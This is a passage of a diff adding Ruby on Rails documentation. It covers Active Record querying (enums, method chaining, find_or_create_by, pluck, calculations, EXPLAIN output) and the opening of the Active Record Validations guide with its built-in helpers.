+class Book < ApplicationRecord
+  enum availability: [:available, :unavailable]
+end
+```
+
+This will automatically create the corresponding [scopes](#scopes) to query the
+model. Methods to transition between states and query the current state are also
+added.
+
+```ruby
+# Both examples below query just available books.
+Book.available
+# or
+Book.where(availability: :available)
+
+book = Book.new(availability: :available)
+book.available?   # => true
+book.unavailable! # => true
+book.available?   # => false
+```
+
+Read the full documentation about enums
+[in the Rails API docs](http://api.rubyonrails.org/classes/ActiveRecord/Enum.html).
+
+Understanding The Method Chaining
+---------------------------------
+
+The Active Record pattern implements [Method Chaining](http://en.wikipedia.org/wiki/Method_chaining),
+which allow us to use multiple Active Record methods together in a simple and straightforward way.
+
+You can chain methods in a statement when the previous method called returns an
+`ActiveRecord::Relation`, like `all`, `where`, and `joins`. Methods that return
+a single object (see [Retrieving a Single Object Section](#retrieving-a-single-object))
+have to be at the end of the statement.
+
+There are some examples below. This guide won't cover all the possibilities, just a few as examples.
+When an Active Record method is called, the query is not immediately generated and sent to the database,
+this just happens when the data is actually needed. So each example below generates a single query.
+
+### Retrieving filtered data from multiple tables
+
+```ruby
+Person
+  .select('people.id, people.name, comments.text')
+  .joins(:comments)
+  .where('comments.created_at > ?', 1.week.ago)
+```
+
+The result should be something like this:
+
+```sql
+SELECT people.id, people.name, comments.text
+FROM people
+INNER JOIN comments
+  ON comments.person_id = people.id
+WHERE comments.created_at > '2015-01-01'
+```
+
+### Retrieving specific data from multiple tables
+
+```ruby
+Person
+  .select('people.id, people.name, companies.name')
+  .joins(:company)
+  .find_by('people.name' => 'John') # this should be the last
+```
+
+The above should generate:
+
+```sql
+SELECT people.id, people.name, companies.name
+FROM people
+INNER JOIN companies
+  ON companies.person_id = people.id
+WHERE people.name = 'John'
+LIMIT 1
+```
+
+NOTE: Note that if a query matches multiple records, `find_by` will
+fetch only the first one and ignore the others (see the `LIMIT 1`
+statement above).
+
+Find or Build a New Object
+--------------------------
+
+It's common that you need to find a record or create it if it doesn't exist. You can do that with the `find_or_create_by` and `find_or_create_by!` methods.
+
+### `find_or_create_by`
+
+The `find_or_create_by` method checks whether a record with the specified attributes exists. If it doesn't, then `create` is called. Let's see an example.
+
+Suppose you want to find a client named 'Andy', and if there's none, create one. You can do so by running:
+
+```ruby
+Client.find_or_create_by(first_name: 'Andy')
+# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+```
+
+The SQL generated by this method looks like this:
+
+```sql
+SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
+BEGIN
+INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57')
+COMMIT
+```
+
+`find_or_create_by` returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned.
+
+The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`).
+
+Suppose we want to set the 'locked' attribute to `false` if we're
+creating a new record, but we don't want to include it in the query. So
+we want to find the client named "Andy", or if that client doesn't
+exist, create a client named "Andy" which is not locked.
+
+We can achieve this in two ways. The first is to use `create_with`:
+
+```ruby
+Client.create_with(locked: false).find_or_create_by(first_name: 'Andy')
+```
+
+The second way is using a block:
+
+```ruby
+Client.find_or_create_by(first_name: 'Andy') do |c|
+  c.locked = false
+end
+```
+
+The block will only be executed if the client is being created. The
+second time we run this code, the block will be ignored.
+
+### `find_or_create_by!`
+
+You can also use `find_or_create_by!` to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add
+
+```ruby
+validates :orders_count, presence: true
+```
+
+to your `Client` model. If you try to create a new `Client` without passing an `orders_count`, the record will be invalid and an exception will be raised:
+
+```ruby
+Client.find_or_create_by!(first_name: 'Andy')
+# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
+```
+
+### `find_or_initialize_by`
+
+The `find_or_initialize_by` method will work just like
+`find_or_create_by` but it will call `new` instead of `create`. This
+means that a new model instance will be created in memory but won't be
+saved to the database. Continuing with the `find_or_create_by` example, we
+now want the client named 'Nick':
+
+```ruby
+nick = Client.find_or_initialize_by(first_name: 'Nick')
+# => #<Client id: nil, first_name: "Nick", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+
+nick.persisted?
+# => false
+
+nick.new_record?
+# => true
+```
+
+Because the object is not yet stored in the database, the SQL generated looks like this:
+
+```sql
+SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
+```
+
+When you want to save it to the database, just call `save`:
+
+```ruby
+nick.save
+# => true
+```
+
+Finding by SQL
+--------------
+
+If you'd like to use your own SQL to find records in a table you can use `find_by_sql`. The `find_by_sql` method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:
+
+```ruby
+Client.find_by_sql("SELECT * FROM clients
+  INNER JOIN orders ON clients.id = orders.client_id
+  ORDER BY clients.created_at desc")
+# =>  [
+#   #<Client id: 1, first_name: "Lucas" >,
+#   #<Client id: 2, first_name: "Jan" >,
+#   ...
+# ]
+```
+
+`find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
+
+### `select_all`
+
+`find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
+
+```ruby
+Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'")
+# => [
+#   {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"},
+#   {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"}
+# ]
+```
+
+### `pluck`
+
+`pluck` can be used to query single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
+
+```ruby
+Client.where(active: true).pluck(:id)
+# SELECT id FROM clients WHERE active = 1
+# => [1, 2, 3]
+
+Client.distinct.pluck(:role)
+# SELECT DISTINCT role FROM clients
+# => ['admin', 'member', 'guest']
+
+Client.pluck(:id, :name)
+# SELECT clients.id, clients.name FROM clients
+# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+```
+
+`pluck` makes it possible to replace code like:
+
+```ruby
+Client.select(:id).map { |c| c.id }
+# or
+Client.select(:id).map(&:id)
+# or
+Client.select(:id, :name).map { |c| [c.id, c.name] }
+```
+
+with:
+
+```ruby
+Client.pluck(:id)
+# or
+Client.pluck(:id, :name)
+```
+
+Unlike `select`, `pluck` directly converts a database result into a Ruby `Array`,
+without constructing `ActiveRecord` objects. This can mean better performance for
+a large or often-running query. However, any model method overrides will
+not be available. For example:
+
+```ruby
+class Client < ApplicationRecord
+  def name
+    "I am #{super}"
+  end
+end
+
+Client.select(:name).map &:name
+# => ["I am David", "I am Jeremy", "I am Jose"]
+
+Client.pluck(:name)
+# => ["David", "Jeremy", "Jose"]
+```
+
+Furthermore, unlike `select` and other `Relation` scopes, `pluck` triggers an immediate
+query, and thus cannot be chained with any further scopes, although it can work with
+scopes already constructed earlier:
+
+```ruby
+Client.pluck(:name).limit(1)
+# => NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8>
+
+Client.limit(1).pluck(:name)
+# => ["David"]
+```
+
+### `ids`
+
+`ids` can be used to pluck all the IDs for the relation using the table's primary key.
+
+```ruby
+Person.ids
+# SELECT id FROM people
+```
+
+```ruby
+class Person < ApplicationRecord
+  self.primary_key = "person_id"
+end
+
+Person.ids
+# SELECT person_id FROM people
+```
+
+Existence of Objects
+--------------------
+
+If you simply want to check for the existence of the object there's a method called `exists?`.
+This method will query the database using the same query as `find`, but instead of returning an
+object or collection of objects it will return either `true` or `false`.
+
+```ruby
+Client.exists?(1)
+```
+
+The `exists?` method also takes multiple values, but the catch is that it will return `true` if any
+one of those records exists.
+
+```ruby
+Client.exists?(id: [1,2,3])
+# or
+Client.exists?(name: ['John', 'Sergei'])
+```
+
+It's even possible to use `exists?` without any arguments on a model or a relation.
+
+```ruby
+Client.where(first_name: 'Ryan').exists?
+```
+
+The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false`
+otherwise.
+
+```ruby
+Client.exists?
+```
+
+The above returns `false` if the `clients` table is empty and `true` otherwise.
+
+You can also use `any?` and `many?` to check for existence on a model or relation.
+
+```ruby
+# via a model
+Article.any?
+Article.many?
+
+# via a named scope
+Article.recent.any?
+Article.recent.many?
+
+# via a relation
+Article.where(published: true).any?
+Article.where(published: true).many?
+
+# via an association
+Article.first.categories.any?
+Article.first.categories.many?
+```
+
+Calculations
+------------
+
+This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
+
+All calculation methods work directly on a model:
+
+```ruby
+Client.count
+# SELECT count(*) AS count_all FROM clients
+```
+
+Or on a relation:
+
+```ruby
+Client.where(first_name: 'Ryan').count
+# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+```
+
+You can also use various finder methods on a relation for performing complex calculations:
+
+```ruby
+Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count
+```
+
+Which will execute:
+
+```sql
+SELECT count(DISTINCT clients.id) AS count_all FROM clients
+  LEFT OUTER JOIN orders ON orders.client_id = clients.id WHERE
+  (clients.first_name = 'Ryan' AND orders.status = 'received')
+```
+
+### Count
+
+If you want to see how many records are in your model's table you could call `Client.count` and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use `Client.count(:age)`.
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Average
+
+If you want to see the average of a certain number in one of your tables you can call the `average` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.average("orders_count")
+```
+
+This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Minimum
+
+If you want to find the minimum value of a field in your table you can call the `minimum` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.minimum("age")
+```
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Maximum
+
+If you want to find the maximum value of a field in your table you can call the `maximum` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.maximum("age")
+```
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Sum
+
+If you want to find the sum of a field for all records in your table you can call the `sum` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.sum("orders_count")
+```
+
+For options, please see the parent section, [Calculations](#calculations).
+
+Running EXPLAIN
+---------------
+
+You can run EXPLAIN on the queries triggered by relations. For example,
+
+```ruby
+User.where(id: 1).joins(:articles).explain
+```
+
+may yield
+
+```
+EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
++----+-------------+----------+-------+---------------+
+| id | select_type | table    | type  | possible_keys |
++----+-------------+----------+-------+---------------+
+|  1 | SIMPLE      | users    | const | PRIMARY       |
+|  1 | SIMPLE      | articles | ALL   | NULL          |
++----+-------------+----------+-------+---------------+
++---------+---------+-------+------+-------------+
+| key     | key_len | ref   | rows | Extra       |
++---------+---------+-------+------+-------------+
+| PRIMARY | 4       | const |    1 |             |
+| NULL    | NULL    | NULL  |    1 | Using where |
++---------+---------+-------+------+-------------+
+
+2 rows in set (0.00 sec)
+```
+
+under MySQL and MariaDB.
+
+Active Record performs a pretty printing that emulates that of the
+corresponding database shell. So, the same query running with the
+PostgreSQL adapter would yield instead
+
+```
+EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "articles" ON "articles"."user_id" = "users"."id" WHERE "users"."id" = 1
+                                  QUERY PLAN
+------------------------------------------------------------------------------
+ Nested Loop Left Join  (cost=0.00..37.24 rows=8 width=0)
+   Join Filter: (articles.user_id = users.id)
+   ->  Index Scan using users_pkey on users  (cost=0.00..8.27 rows=1 width=4)
+         Index Cond: (id = 1)
+   ->  Seq Scan on articles  (cost=0.00..28.88 rows=8 width=4)
+         Filter: (articles.user_id = 1)
+(6 rows)
+```
+
+Eager loading may trigger more than one query under the hood, and some queries
+may need the results of previous ones. Because of that, `explain` actually
+executes the query, and then asks for the query plans. For example,
+
+```ruby
+User.where(id: 1).includes(:articles).explain
+```
+
+yields
+
+```
+EXPLAIN for: SELECT `users`.* FROM `users`  WHERE `users`.`id` = 1
++----+-------------+-------+-------+---------------+
+| id | select_type | table | type  | possible_keys |
++----+-------------+-------+-------+---------------+
+|  1 | SIMPLE      | users | const | PRIMARY       |
++----+-------------+-------+-------+---------------+
++---------+---------+-------+------+-------+
+| key     | key_len | ref   | rows | Extra |
++---------+---------+-------+------+-------+
+| PRIMARY | 4       | const |    1 |       |
++---------+---------+-------+------+-------+
+
+1 row in set (0.00 sec)
+
+EXPLAIN for: SELECT `articles`.* FROM `articles`  WHERE `articles`.`user_id` IN (1)
++----+-------------+----------+------+---------------+
+| id | select_type | table    | type | possible_keys |
++----+-------------+----------+------+---------------+
+|  1 | SIMPLE      | articles | ALL  | NULL          |
++----+-------------+----------+------+---------------+
++------+---------+------+------+-------------+
+| key  | key_len | ref  | rows | Extra       |
++------+---------+------+------+-------------+
+| NULL | NULL    | NULL |    1 | Using where |
++------+---------+------+------+-------------+
+
+
+1 row in set (0.00 sec)
+```
+
+under MySQL and MariaDB.
+
+### Interpreting EXPLAIN
+
+Interpretation of the output of EXPLAIN is beyond the scope of this guide. The
+following pointers may be helpful:
+
+* SQLite3: [EXPLAIN QUERY PLAN](http://www.sqlite.org/eqp.html)
+
+* MySQL: [EXPLAIN Output Format](http://dev.mysql.com/doc/refman/5.7/en/explain-output.html)
+
+* MariaDB: [EXPLAIN](https://mariadb.com/kb/en/mariadb/explain/)
+
+* PostgreSQL: [Using EXPLAIN](https://www.postgresql.org/docs/current/static/using-explain.html)
diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md
new file mode 100644
index 0000000000..a086363cf1
--- /dev/null
+++ b/guides/source/active_record_validations.md
@@ -0,0 +1,1296 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Active Record Validations
+=========================
+
+This guide teaches you how to validate the state of objects before they go into
+the database using Active Record's validations feature.
+
+After reading this guide, you will know:
+
+* How to use the built-in Active Record validation helpers.
+* How to create your own custom validation methods.
+* How to work with the error messages generated by the validation process.
+
+--------------------------------------------------------------------------------
+
+Validations Overview
+--------------------
+
+Here's an example of a very simple validation:
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+Person.create(name: "John Doe").valid? # => true
+Person.create(name: nil).valid? # => false
+```
+
+As you can see, our validation lets us know that our `Person` is not valid
+without a `name` attribute. The second `Person` will not be persisted to the
+database.
+
+Before we dig into more details, let's talk about how validations fit into the
+big picture of your application.
+
+### Why Use Validations?
+
+Validations are used to ensure that only valid data is saved into your
+database. For example, it may be important to your application to ensure that
+every user provides a valid email address and mailing address. Model-level
+validations are the best way to ensure that only valid data is saved into your
+database. They are database agnostic, cannot be bypassed by end users, and are
+convenient to test and maintain. Rails makes them easy to use, provides
+built-in helpers for common needs, and allows you to create your own validation
+methods as well.
+
+There are several other ways to validate data before it is saved into your
+database, including native database constraints, client-side validations and
+controller-level validations. Here's a summary of the pros and cons:
+
+* Database constraints and/or stored procedures make the validation mechanisms
+  database-dependent and can make testing and maintenance more difficult.
+  However, if your database is used by other applications, it may be a good
+  idea to use some constraints at the database level. Additionally,
+  database-level validations can safely handle some things (such as uniqueness
+  in heavily-used tables) that can be difficult to implement otherwise.
+* Client-side validations can be useful, but are generally unreliable if used
+  alone. If they are implemented using JavaScript, they may be bypassed if
+  JavaScript is turned off in the user's browser. However, if combined with
+  other techniques, client-side validation can be a convenient way to provide
+  users with immediate feedback as they use your site.
+* Controller-level validations can be tempting to use, but often become
+  unwieldy and difficult to test and maintain. Whenever possible, it's a good
+  idea to keep your controllers skinny, as it will make your application a
+  pleasure to work with in the long run.
+
+Choose these in certain, specific cases. It's the opinion of the Rails team
+that model-level validations are the most appropriate in most circumstances.
+
+### When Does Validation Happen?
+
+There are two kinds of Active Record objects: those that correspond to a row
+inside your database and those that do not. When you create a fresh object, for
+example using the `new` method, that object does not belong to the database
+yet. Once you call `save` upon that object it will be saved into the
+appropriate database table. Active Record uses the `new_record?` instance
+method to determine whether an object is already in the database or not.
+Consider the following simple Active Record class:
+
+```ruby
+class Person < ApplicationRecord
+end
+```
+
+We can see how it works by looking at some `rails console` output:
+
+```ruby
+$ bin/rails console
+>> p = Person.new(name: "John Doe")
+=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>
+>> p.new_record?
+=> true
+>> p.save
+=> true
+>> p.new_record?
+=> false
+```
+
+Creating and saving a new record will send an SQL `INSERT` operation to the
+database. Updating an existing record will send an SQL `UPDATE` operation
+instead. Validations are typically run before these commands are sent to the
+database. If any validations fail, the object will be marked as invalid and
+Active Record will not perform the `INSERT` or `UPDATE` operation. This avoids
+storing an invalid object in the database. You can choose to have specific
+validations run when an object is created, saved, or updated.
+
+CAUTION: There are many ways to change the state of an object in the database.
+Some methods will trigger validations, but some will not. This means that it's
+possible to save an object in the database in an invalid state if you aren't
+careful.
+
+The following methods trigger validations, and will save the object to the
+database only if the object is valid:
+
+* `create`
+* `create!`
+* `save`
+* `save!`
+* `update`
+* `update!`
+
+The bang versions (e.g. `save!`) raise an exception if the record is invalid.
+The non-bang versions don't: `save` and `update` return `false`, and
+`create` just returns the object.
+
+### Skipping Validations
+
+The following methods skip validations, and will save the object to the
+database regardless of its validity. They should be used with caution.
+
+* `decrement!`
+* `decrement_counter`
+* `increment!`
+* `increment_counter`
+* `toggle!`
+* `touch`
+* `update_all`
+* `update_attribute`
+* `update_column`
+* `update_columns`
+* `update_counters`
+
+Note that `save` also has the ability to skip validations if passed `validate:
+false` as an argument. This technique should be used with caution.
+
+* `save(validate: false)`
+
+### `valid?` and `invalid?`
+
+Before saving an Active Record object, Rails runs your validations.
+If these validations produce any errors, Rails does not save the object.
+
+You can also run these validations on your own. `valid?` triggers your validations
+and returns true if no errors were found in the object, and false otherwise.
+As you saw above:
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+Person.create(name: "John Doe").valid? # => true
+Person.create(name: nil).valid? # => false
+```
+
+After Active Record has performed validations, any errors found can be accessed
+through the `errors.messages` instance method, which returns a collection of errors.
+By definition, an object is valid if this collection is empty after running
+validations.
+
+Note that an object instantiated with `new` will not report errors
+even if it's technically invalid, because validations are automatically run
+only when the object is saved, such as with the `create` or `save` methods.
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+>> p = Person.new
+# => #<Person id: nil, name: nil>
+>> p.errors.messages
+# => {}
+
+>> p.valid?
+# => false
+>> p.errors.messages
+# => {name:["can't be blank"]}
+
+>> p = Person.create
+# => #<Person id: nil, name: nil>
+>> p.errors.messages
+# => {name:["can't be blank"]}
+
+>> p.save
+# => false
+
+>> p.save!
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+>> Person.create!
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+```
+
+`invalid?` is simply the inverse of `valid?`. It triggers your validations,
+returning true if any errors were found in the object, and false otherwise.
+
+### `errors[]`
+
+To verify whether or not a particular attribute of an object is valid, you can
+use `errors[:attribute]`. It returns an array of all the errors for
+`:attribute`. If there are no errors on the specified attribute, an empty array
+is returned.
+
+This method is only useful _after_ validations have been run, because it only
+inspects the errors collection and does not trigger validations itself. It's
+different from the `ActiveRecord::Base#invalid?` method explained above because
+it doesn't verify the validity of the object as a whole. It only checks to see
+whether there are errors found on an individual attribute of the object.
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+>> Person.new.errors[:name].any? # => false
+>> Person.create.errors[:name].any? # => true
+```
+
+We'll cover validation errors in greater depth in the [Working with Validation
+Errors](#working-with-validation-errors) section.
+
+### `errors.details`
+
+To check which validations failed on an invalid attribute, you can use
+`errors.details[:attribute]`. It returns an array of hashes with an `:error`
+key to get the symbol of the validator:
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, presence: true
+end
+
+>> person = Person.new
+>> person.valid?
+>> person.errors.details[:name] # => [{error: :blank}]
+```
+
+Using `details` with custom validators is covered in the [Working with
+Validation Errors](#working-with-validation-errors) section.
+
+Validation Helpers
+------------------
+
+Active Record offers many pre-defined validation helpers that you can use
+directly inside your class definitions. These helpers provide common validation
+rules. Every time a validation fails, an error message is added to the object's
+`errors` collection, and this message is associated with the attribute being
+validated.
+
+Each helper accepts an arbitrary number of attribute names, so with a single
+line of code you can add the same kind of validation to several attributes.
+
+All of them accept the `:on` and `:message` options, which define when the
+validation should be run and what message should be added to the `errors`
+collection if it fails, respectively. The `:on` option takes one of the values
+`:create` or `:update`. There is a default error
+message for each one of the validation helpers. These messages are used when
+the `:message` option isn't specified. Let's take a look at each one of the
+available helpers.
+
+### `acceptance`
+
+This method validates that a checkbox on the user interface was checked when a
+form was submitted. This is typically used when the user needs to agree to your
+application's terms of service, confirm that some text is read, or any similar
+concept.
+
+```ruby
+class Person < ApplicationRecord
+  validates :terms_of_service, acceptance: true
+end
+```
+
+This check is performed only if `terms_of_service` is not `nil`.
+The default error message for this helper is _"must be accepted"_.
+You can also pass custom message via the `message` option.
+
+```ruby
+class Person < ApplicationRecord
+  validates :terms_of_service, acceptance: { message: 'must be abided' }
+end
+```
+
+It can also receive an `:accept` option, which determines the allowed values
+that will be considered as accepted. It defaults to `['1', true]` and can be
+easily changed.
+
+```ruby
+class Person < ApplicationRecord
+  validates :terms_of_service, acceptance: { accept: 'yes' }
+  validates :eula, acceptance: { accept: ['TRUE', 'accepted'] }
+end
+```
+
+This validation is very specific to web applications and this
+'acceptance' does not need to be recorded anywhere in your database. If you
+don't have a field for it, the helper will just create a virtual attribute. If
+the field does exist in your database, the `accept` option must be set to
+or include `true` or else the validation will not run.
+
+### `validates_associated`
+
+You should use this helper when your model has associations with other models
+and they also need to be validated. When you try to save your object, `valid?`
+will be called upon each one of the associated objects.
+
+```ruby
+class Library < ApplicationRecord
+  has_many :books
+  validates_associated :books
+end
+```
+
+This validation will work with all of the association types.
+
+CAUTION: Don't use `validates_associated` on both ends of your associations.
+They would call each other in an infinite loop.
+
+The default error message for `validates_associated` is _"is invalid"_. Note
+that each associated object will contain its own `errors` collection; errors do
+not bubble up to the calling model.
+
+### `confirmation`
+
+You should use this helper when you have two text fields that should receive
+exactly the same content. For example, you may want to confirm an email address
+or a password. This validation creates a virtual attribute whose name is the
+name of the field that has to be confirmed with "_confirmation" appended.
+
+```ruby
+class Person < ApplicationRecord
+  validates :email, confirmation: true
+end
+```
+
+In your view template you could use something like
+
+```erb
+<%= text_field :person, :email %>
+<%= text_field :person, :email_confirmation %>
+```
+
+This check is performed only if `email_confirmation` is not `nil`. To require
+confirmation, make sure to add a presence check for the confirmation attribute
+(we'll take a look at `presence` later on in this guide):
+
+```ruby
+class Person < ApplicationRecord
+  validates :email, confirmation: true
+  validates :email_confirmation, presence: true
+end
+```
+
+There is also a `:case_sensitive` option that you can use to define whether the
+confirmation constraint will be case sensitive or not. This option defaults to
+true.
+
+```ruby
+class Person < ApplicationRecord
+  validates :email, confirmation: { case_sensitive: false }
+end
+```
+
+The default error message for this helper is _"doesn't match confirmation"_.
+
+### `exclusion`
+
+This helper validates that the attributes' values are not included in a given
+set. In fact, this set can be any enumerable object.
+
+```ruby
+class Account < ApplicationRecord
+  validates :subdomain, exclusion: { in: %w(www us ca jp),
+    message: "%{value} is reserved." }
+end
+```
+
+The `exclusion` helper has an option `:in` that receives the set of values that
+will not be accepted for the validated attributes. The `:in` option has an
+alias called `:within` that you can use for the same purpose, if you'd like to.
+This example uses the `:message` option to show how you can include the
+attribute's value. For full options to the message argument please see the
+[message documentation](#message).
+
+The default error message is _"is reserved"_.
+
+### `format`
+
+This helper validates the attributes' values by testing whether they match a
+given regular expression, which is specified using the `:with` option.
+
+```ruby
+class Product < ApplicationRecord
+  validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/,
+    message: "only allows letters" }
+end
+```
+
+Alternatively, you can require that the specified attribute does _not_ match the regular expression by using the `:without` option.
+
+The default error message is _"is invalid"_.
+
+### `inclusion`
+
+This helper validates that the attributes' values are included in a given set.
+In fact, this set can be any enumerable object.
+
+```ruby
+class Coffee < ApplicationRecord
+  validates :size, inclusion: { in: %w(small medium large),
+    message: "%{value} is not a valid size" }
+end
+```
+
+The `inclusion` helper has an option `:in` that receives the set of values that
+will be accepted. The `:in` option has an alias called `:within` that you can
+use for the same purpose, if you'd like to. The previous example uses the
+`:message` option to show how you can include the attribute's value. For full
+options please see the [message documentation](#message).
+
+The default error message for this helper is _"is not included in the list"_.
+
+### `length`
+
+This helper validates the length of the attributes' values. It provides a
+variety of options, so you can specify length constraints in different ways:
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, length: { minimum: 2 }
+  validates :bio, length: { maximum: 500 }
+  validates :password, length: { in: 6..20 }
+  validates :registration_number, length: { is: 6 }
+end
+```
+
+The possible length constraint options are:
+
+* `:minimum` - The attribute cannot have less than the specified length.
+* `:maximum` - The attribute cannot have more than the specified length.
+* `:in` (or `:within`) - The attribute length must be included in a given
+  interval. The value for this option must be a range.
+* `:is` - The attribute length must be equal to the given value.
+
+The default error messages depend on the type of length validation being
+performed. You can personalize these messages using the `:wrong_length`,
+`:too_long`, and `:too_short` options and `%{count}` as a placeholder for the
+number corresponding to the length constraint being used. You can still use the
+`:message` option to specify an error message.
+
+```ruby
+class Person < ApplicationRecord
+  validates :bio, length: { maximum: 1000,
+    too_long: "%{count} characters is the maximum allowed" }
+end
+```
+
+Note that the default error messages are plural (e.g., "is too short (minimum
+is %{count} characters)"). For this reason, when `:minimum` is 1 you should
+provide a personalized message or use `presence: true` instead. When
+`:in` or `:within` have a lower limit of 1, you should either provide a
+personalized message or call `presence` prior to `length`.
+
+### `numericality`
+
+This helper validates that your attributes have only numeric values. By
+default, it will match an optional sign followed by an integral or floating
+point number. To specify that only integral numbers are allowed set
+`:only_integer` to true.
+
+If you set `:only_integer` to `true`, then it will use the
+
+```ruby
+/\A[+-]?\d+\z/
+```
+
+regular expression to validate the attribute's value. Otherwise, it will try to
+convert the value to a number using `Float`.
+
+```ruby
+class Player < ApplicationRecord
+  validates :points, numericality: true
+  validates :games_played, numericality: { only_integer: true }
+end
+```
+
+Besides `:only_integer`, this helper also accepts the following options to add
+constraints to acceptable values:
+
+* `:greater_than` - Specifies the value must be greater than the supplied
+  value. The default error message for this option is _"must be greater than
+  %{count}"_.
+* `:greater_than_or_equal_to` - Specifies the value must be greater than or
+  equal to the supplied value. The default error message for this option is
+  _"must be greater than or equal to %{count}"_.
+* `:equal_to` - Specifies the value must be equal to the supplied value. The
+  default error message for this option is _"must be equal to %{count}"_.
+* `:less_than` - Specifies the value must be less than the supplied value. The
+  default error message for this option is _"must be less than %{count}"_.
+* `:less_than_or_equal_to` - Specifies the value must be less than or equal to
+  the supplied value. The default error message for this option is _"must be
+  less than or equal to %{count}"_.
+* `:other_than` - Specifies the value must be other than the supplied value.
+  The default error message for this option is _"must be other than %{count}"_.
+* `:odd` - Specifies the value must be an odd number if set to true. The
+  default error message for this option is _"must be odd"_.
+* `:even` - Specifies the value must be an even number if set to true. The
+  default error message for this option is _"must be even"_.
+
+NOTE: By default, `numericality` doesn't allow `nil` values. You can use `allow_nil: true` option to permit it.
+
+The default error message is _"is not a number"_.
+
+### `presence`
+
+This helper validates that the specified attributes are not empty. It uses the
+`blank?` method to check if the value is either `nil` or a blank string, that
+is, a string that is either empty or consists of whitespace.
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, :login, :email, presence: true
+end
+```
+
+If you want to be sure that an association is present, you'll need to test
+whether the associated object itself is present, and not the foreign key used
+to map the association.
+
+```ruby
+class LineItem < ApplicationRecord
+  belongs_to :order
+  validates :order, presence: true
+end
+```
+
+In order to validate associated records whose presence is required, you must
+specify the `:inverse_of` option for the association:
+
+```ruby
+class Order < ApplicationRecord
+  has_many :line_items, inverse_of: :order
+end
+```
+
+If you validate the presence of an object associated via a `has_one` or
+`has_many` relationship, it will check that the object is neither `blank?` nor
+`marked_for_destruction?`.
+
+Since `false.blank?` is true, if you want to validate the presence of a boolean
+field you should use one of the following validations:
+
+```ruby
+validates :boolean_field_name, inclusion: { in: [true, false] }
+validates :boolean_field_name, exclusion: { in: [nil] }
+```
+
+By using one of these validations, you will ensure the value will NOT be `nil`
+which would result in a `NULL` value in most cases.
+
+### `absence`
+
+This helper validates that the specified attributes are absent. It uses the
+`present?` method to check if the value is not either nil or a blank string, that
+is, a string that is either empty or consists of whitespace.
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, :login, :email, absence: true
+end
+```
+
+If you want to be sure that an association is absent, you'll need to test
+whether the associated object itself is absent, and not the foreign key used
+to map the association.
+
+```ruby
+class LineItem < ApplicationRecord
+  belongs_to :order
+  validates :order, absence: true
+end
+```
+
+In order to validate associated records whose absence is required, you must
+specify the `:inverse_of` option for the association:
+
+```ruby
+class Order < ApplicationRecord
+  has_many :line_items, inverse_of: :order
+end
+```
+
+If you validate the absence of an object associated via a `has_one` or
+`has_many` relationship, it will check that the object is neither `present?` nor
+`marked_for_destruction?`.
+
+Since `false.present?` is false, if you want to validate the absence of a boolean
+field you should use `validates :field_name, exclusion: { in: [true, false] }`.
+
+The default error message is _"must be blank"_.
+
+### `uniqueness`
+
+This helper validates that the attribute's value is unique right before the
+object gets saved. It does not create a uniqueness constraint in the database,
+so it may happen that two different database connections create two records
+with the same value for a column that you intend to be unique. To avoid that,
+you must create a unique index on that column in your database.
+
+```ruby
+class Account < ApplicationRecord
+  validates :email, uniqueness: true
+end
+```
+
+The validation happens by performing an SQL query into the model's table,
